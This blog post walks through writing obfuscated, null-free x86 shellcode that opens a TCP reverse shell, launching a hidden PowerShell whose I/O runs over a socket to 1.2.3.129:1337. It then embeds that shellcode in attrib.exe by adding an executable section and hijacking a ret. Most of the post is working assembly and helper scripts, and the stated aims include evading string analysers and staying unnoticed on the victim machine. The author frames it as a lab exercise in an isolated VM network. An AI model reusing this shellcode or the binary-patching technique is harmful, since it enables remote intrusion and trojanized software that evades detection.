Windows Shellcoding 3 : TCP Reverse Shell using WinSock

So my previous escapades into windows shellcoding led to me choosing to be more ambitious and thus deciding to try and make a Null byte free, Position Independent shellcode and embed that into an windows utility and having the shellcode to be executed by hijacking a ret call.

Since this time I'm planning on connecting to a reverse shell, and using an application which loads ws2_32.dll (winsock2) would be a lot more complex as it is mostly used by browsers, so I decide to use LoadLibraryA from kernel32.dll.

I begin by setting up the stack by adding to esp the 2's complement of 0x648, i.e., subtract 1,608 (0x648) from esp.

mov ebp, esp
add esp, 0xfffff9b8

Using 2's complement makes sure that there will be no null bytes in the byte code.

Then I retrieve kernel32.dll base address using PEB method.

xor eax, eax
mov ebx, [fs:0x30 + eax]    ; PEB
mov ebx, [ebx + 0x0C]       ; PEB_LDR_DATA
mov ebx, [ebx + 0x14]       ; InMemoryOrderModuleList (first entry)
mov ebx, [ebx]              ; Flink -> ntdll.dll
mov ebx, [ebx]              ; Flink -> kernel32.dll
mov ebx, [ebx + 0x10]       ; BaseAddress of kernel32.dll

Once I have the kernel32.dll base address I can now move onto creating the routine for extracting the Number of Exported Functions, Address Table Address, Name Pointer Table Address & the Ordinal Table Address, I discussed more about them in my first shellcoding post.

.resSym:        
; look for address of Address Table, Name Pointer Table & Ordinal Table
mov eax, [ebx + 0x3C]   ; PE Signature RVA (base + 0x3C)
add eax, ebx            ; PE Signature addr.
mov eax, [eax + 0x78]   ; Export Table RVA (PE addr. + 0x78)
add eax, ebx            ; Export Table addr.

mov ecx, [eax + 0x14]   ; Number of exported functions
mov [ebp - 0x4], ecx    ; Store number of exported functions in var 4

mov edx, [eax + 0x1C]   ; RVA of Address Table (Export Table addr. + 0x1C)
add edx, ebx            ; Addr. of Address Table
mov [ebp - 0x8], edx    ; Store Address Table addr. in var 8

mov ecx, [eax + 0x20]   ; RVA of Name Pointer Table (Export Table addr. + 0x20)
add ecx, ebx            ; Addr. of Name Pointer Table
mov [ebp - 0xC], ecx    ; Store Name Pointer Table addr. in var C

mov ecx, [eax + 0x24]   ; RVA of Ordinal Table (Export Table addr. + 0x24)
add ecx, ebx            ; Addr. of Ordinal Table
mov [ebp - 0x10], ecx   ; Store Ordinal Table addr. in var 10
ret

I made this a callable routine as I intend to use it for when I load ws2_32.dll too.

Now I'd have the all the relevant addresses with this, but how do I search for LoadLibraryA? pushing a string would invite null bytes regardless of how careful I'm being. This was something which was an issue in my previous attempts at shellcoding.

I found my answer while reviewing my class material for cryptology, I can use hashes!

So I researched a bit and found a short hashing algorithm.

    For each byte
        > Hash = ROR(Hash, 13)
        > Hash = Hash + Loaded Byte
        > Repeat until Null byte is reached

This creates a hash which is 4 bytes long and can be easily stored in a 32-bit register, using that I make the hash routine to generate hashes of the names in the Name Pointer Table.

.hash:
lodsb           ; Load byte at address DS:ESI into AL, increment ESI
test al, al     ; test for null byte
jz uwu.compare  ; if null byte, move to comparing the hash
ror edx, 0xD    ; rotate right by 13 bits
add edx, eax    ; add the current byte to the hash
jmp uwu.hash    ; continue hashing

These hashes were compared with the hash of the function I wanted, this latter part was done using a python script I made.

def ror(val, rotBits):
    mask = (1 << 32) - 1  # Create a mask for 32 bits
    # Rotate the value to the right by rotBits and mask it stay within 32 bits
    return ((val >> rotBits) | (val << (32 - rotBits))) & mask

# Take user input
inBytes = input("Enter a string to hash: ").encode('utf-8')

# Compute the hash and hexify it
hashVal = 0

for byte in inBytes:
    hashVal = ror(hashVal, 13)
    hashVal = (hashVal + byte) & 0xFFFFFFFF

hashVal = hex(hashVal)

# Display the result
print(f"Computed hash: {hashVal}")

This way I was able get the hash of my desired function for comparison, the x86 hash routine was easily integrated into my previous search & compare routine.

Then I go onto pushing the hash calling the search routine to first compute and then compare the hashes.

call uwu.resSym         ; resolve symbols/table addresses for kernel32.dll

push 0xec0e4e8e         ; hash of "LoadLibraryA"
xor ecx, ecx            ; clear ecx for counter
call uwu.search         ; search for "LoadLibraryA"
mov [ebp + 0x8], eax    ; store the address of LoadLibraryA in ebpVar8

push 0x16b3fe72         ; hash of CreateProcessA
xor ecx, ecx            ; clear ecx for counter
call uwu.search         ; search for CreateProcessA
mov [ebp + 0xC], eax    ; store the address of CreateProcessA in ebpVarC
 
push 0x7f9e1144         ; hash of SetHandleInformation
xor ecx, ecx            ; clear ecx for counter
call uwu.search         ; search for SetHandleInformation
mov [ebp + 0x20], eax   ; store the address of SetHandleInformation in ebpVar10 

 

Once  I've got my function addresses from kernel32.dll, I then push the name of wisock2 library onto the stack in 2's complement form to obfuscate it.

The 2's complement pushing was a convenient little addition I had made to my initial stack pushing script.

if neg not in ['y', 'Y']:
        print("push 0x" + chunk)
    else:
        # convert the number from base 16 to int
        chunk = int(chunk, 16)
        # 2's complement
        chunk = 0xFFFFFFFF - chunk + 1
        # print the result in 8 hex characters
        print("mov eax, 0x" + format(chunk, '08x'))
        print("neg eax")
        print("push eax")
 

This moved the 2's complement string to eax and then negated it before pushing it onto the stack, the prevent null bytes and obfuscated the shellcode.

xor eax, eax            ; clear eax
mov eax, 0xffff9394
neg eax
push eax
mov eax, 0x9bd1cdcd
neg eax
push eax
mov eax, 0xa0cd8c89
neg eax
push eax
push esp                ;  &("ws2_32.dll")
call dword [ebp + 0x8]  ; LoadLibraryA("ws2_32.dll")

mov ebx, eax            ; replace kernel32 base with ws2_32 base

After extracting the addresses I searched for functions in a similar manner to what I did with kernel32.dll, I searched for WSAStartup, WSASocketA and connect from ws2_32.dll.

Once all function addresses have been stored in the ebp stack, I then call for WSAStartup while pushing the arguments according to Microsoft's documentation:

int WSAAPI WSAStartup(
    [in]  WORD      wVersionRequested,
    [out] LPWSADATA lpWSAData
);

So I make space for the returned data structure in stack and push the version which I want i.e. 2.2.

; WSAStartup
xor eax, eax
push eax                ; Create space for WSAData
push esp                ; &WSAData Structure
mov ax, 0x0202
push eax                ; WSA Version [0x202 (2.2)]
call dword [ebp + 0x14] ; WSAStartup(0x202, &WSAData)

This should work fine but if for some reason the return value in eax is not zero, you can additionally search for WSAGetLastError and call it after the error returning function. 

It will help understand what exactly is the issue as WSAGetLastError would return the error code which you can look up on Microsoft's website.

Once winsock is successfully started, I create a socket, below in the Microsoft's definition of function for reference.

SOCKET WSAAPI WSASocketA(
    [in] int                 af,
    [in] int                 type,
    [in] int                 protocol,
    [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
    [in] GROUP               g,
    [in] DWORD               dwFlags
);

I make the pushed starting from dwFlags and going to af.

; WSASocketA
xor eax, eax
push eax      ; dwFlags [0] // No FLags set
push eax      ; lpProtocolInfo [NULL] // Can customize the socket with this struct
push eax      ; g [0] // No group assigned
mov al, 0x06
push eax      ; protocol [6] (TCP)
mov al, 0x01
push eax      ; type [1] (SOCK_STREAM)
mov al, 0x02
push eax      ; af [2] (AF_INET)
call dword [ebp + 0x18] ; WSASocketA(2, 1, 6, 0, NULL, 0)

mov esi, eax  ; store socket in esi

This should create and store the handle to socket in esi without a hitch, still incase there is a value of -1 or 0xFFFFFFFF returned into eax instead of the socket we can always retrieve the exact error code with WSAGetLastError.

Once the socket is created, I would call connect, but for that we need a specific structure called 'sockaddr_in', defined in Microsoft Documentation as follows.

struct sockaddr_in {
    short   sin_family;
    u_short sin_port;
    struct  in_addr sin_addr;
    char    sin_zero[8];
    };

So now not all of the elements are of same sizes so I make sure to adjust for that in my implementation.

; sockaddr_in struct
xor eax, eax
push eax                ; sin_zero (padding) 4 bytes
push eax                ; sin_zero (padding) 4 bytes
mov eax, 0x7efcfdff
neg eax
push eax                ; &sockaddr_in.sin_addr [0x01020381 (1.2.3.129)]
; to push the IP you split each octet individually and reverse them for LE
; 0x81030201 -> 0x01020381 -> [1-01].[2-02].[3-03].[129-81]
mov eax, 0xffffc6fb     ; 2's complement of 0x3905, BE -> 0x05 0x39 (1337)
neg eax                 ; sin_port [1337]
shl eax, 0x10           ; shift left 16 bits to make space for sin_family
add al, 0x02            ; sin_family [2] (AF_INET)
push eax                ; both sin_port and sin_family are 2 bytes each
push esp                ; &sockaddr_in
pop edi                 ; store &sockaddr_in in edi

I had started using the 2's complement version of things as a quick obfuscation method to help fly under the radar of strings analysers.

Also for the IP, I'm using the one assigned to my Remnux VM which is the other VM in this isolated network.

Once the struct is set up I can now call connect while passing to it the arguments as detailed in Microsoft's function definition.

int WSAAPI connect(
    [in] SOCKET         s,
    [in] const sockaddr* name,
    [in] int             namelen
);

; connect
xor eax, eax
mov al, 0x10    ; sinzero [8] + sin_addr [4] + sin_port [2] + sin_family [2] = 16 bytes
push eax        ; namelen [24]
push edi       ; &sockaddr_in
push esi       ; socket s
call dword [ebp + 0x1C] ; connect(s, &sockaddr_in, 24)

Optimally, this should return a zero in eax but if it doesn't, the exact error code can always be queried using WSAGetLastError.

While testing the shellcode, this was the only function which was giving me an error repeatedly for invalid size, after cross referencing with the documentation a few times I figured that my order for pushing was causing the issues as I was pushing the name first instead of the namelen.

After connecting I use SetHandleInformation to make sure the socket handle is inheritable and also make it immune to being accidently closed by passing on the flags HANDLE_FLAG_INHERIT & HANDLE_FLAG_PROTECT_FROM_CLOSE.

; SetHandleInformation
xor eax, eax
mov al, 0x3             ; HANDLE_FLAG_INHERIT = 0x1, HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x2
push eax                ; dwFlags
push eax                ; dwMask
push esi                ; hObject
call dword [ebp + 0x10] ; SetHandleInformation(s, HANDLE_FLAG_INHERIT, 0x3)

Now I move onto starting a PowerShell instance using CreateProcessA and passing the handle to the socket to the created process for the I/O.

But CreateProcessA requires STARTUPINFOA, a struct defined by Microsoft as follows:

typedef struct _STARTUPINFOA {
    DWORD  cb;
    LPSTR  lpReserved;
    LPSTR  lpDesktop;
    LPSTR  lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    DWORD  dwYSize;
    DWORD  dwXCountChars;
    DWORD  dwYCountChars;
    DWORD  dwFillAttribute;
    DWORD  dwFlags;
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    HANDLE hStdOutput;
    HANDLE hStdError;
    } STARTUPINFOA, * LPSTARTUPINFOA;

Even looking at it, this is a big struct, I push the handle to the socket for the standard input, standard output and standard error.

push esi               ; hStdError
push esi               ; hStdOutput
push esi               ; hStdInput

Then LPBYTE was an unfamiliar data type to me so I sift through some more documentation and find that it is a pointer to a byte, and pointers in 32-bit systems are 4 bytes. The two following arguments, i.e., cbReserved2 and wShowWindow however are 2 bytes each.

xor eax, eax
push eax               ; lpReserved2
push eax               ; cbReserved2 & wShowWindow

These both are reserved for use by C-Runtime so we don't touch them.

Now the dwFlags was a bit tricky as the flag I wanted to set was STARTF_USESTDHANDLES, this flag basically signifies that the hStdInput, hStdOutput, and hStdError are to be noted as they contain additional information.

The tricky part is that the flag's value is 0x100, now I can't just push it without introducing null bytes, so after a bit of contemplation I figured a solution.

I push 0xFF into al as that is an 8-bit register, and then increment eax by 1 to turn the value into 0x100.

I also push the other stuff which was null anyways.

mov al, 0xFF
inc eax
push eax                ; dwFlags
xor eax, eax
push eax                ; dwFillAttribute
push eax                ; dwYCountChars
push eax                ; dwXCountChars
push eax                ; dwYSize
push eax                ; dwXSize
push eax                ; dwY
push eax                ; dwX
push eax                ; lpTitle
push eax                ; lpDesktop
push eax                ; lpReserved
mov al, 0x44            ; size = 68 bytes

The size was calculated as follows:

Handles (12) + CRT Reserved (6) + Show Window (2) + Flags (4) + WindowPos (16) + Title (4) + Desktop (4) + Reserved (4) = 68 bytes

Once that is done I push the size onto stack and pop the pointer to the struct into edi.

push eax                ; cb
push esp                ; &STARTUPINFOA
pop edi                 ; store &STARTUPINFOA in edi

Once that is done, I push the 2's complement version of the command line arguments which is just "powershell.exe" to create an instance of it.

I then proceed to call CreateProcessA with creation flag set to CREATE_NO_WINDOW & inherit handles set to true and also pass the pointer to the STARTUPINFOA struct.

After the call I just reset the stack, well as much as I could, I'm running the shellcode under attrib.exe, its going into crash either way :P

I have provided the whole code at the end for refernce, for now lets move onto embedding the shellcode and make sure it is able execute regardless of the address.

I assemble the shellcode and then proceed to strip it of its symbols since they serve no real purpose in the execution of the shell code.

I use CFF explorer to modify the section header of 'attrib.exe' to introduce a new section, lets call it '.rdata'.

The highlighted opcodes are the beginning portion (push ebp mov ebp, esp), honestly I have played around with the shellcode so many times I've practically memorised it XD

So anyways I set the flag for the section to be executable from CFF explorer and rebuild the header and save it in a new file with the same name in the desktop.

I load the modified PE in x32 dbg to view where the section is actually loaded.

It was rather easy to spot in the memory map, then I go to check the section to be able to calculate the offset of my shellcode from the Address of Entry Point.

So now I just traverse into a random function call and use the push this onto the stack to make use of the ret instruction to go to my shell code.

Now I patch the application and save it to test.

I open a listener on my Remnux VM and as soon as I execute the patched PE, I get a connection and no immediate signs on the windows VM.

There is a connection which can be seen from TCP view, but its from an unnamed process with a PID which does not exist.

And the only place you'd find the PS instances is if you were looking into the detailed process listing in Task Manager.

So that was it, my little adventure into creating shellcode.

Hope you enjoyed it!

The shellcode can be found here.


Comments

Popular posts from this blog

Malware Analysis Report: Sample SmokeScreen

[TryHackMe] BrainPan 1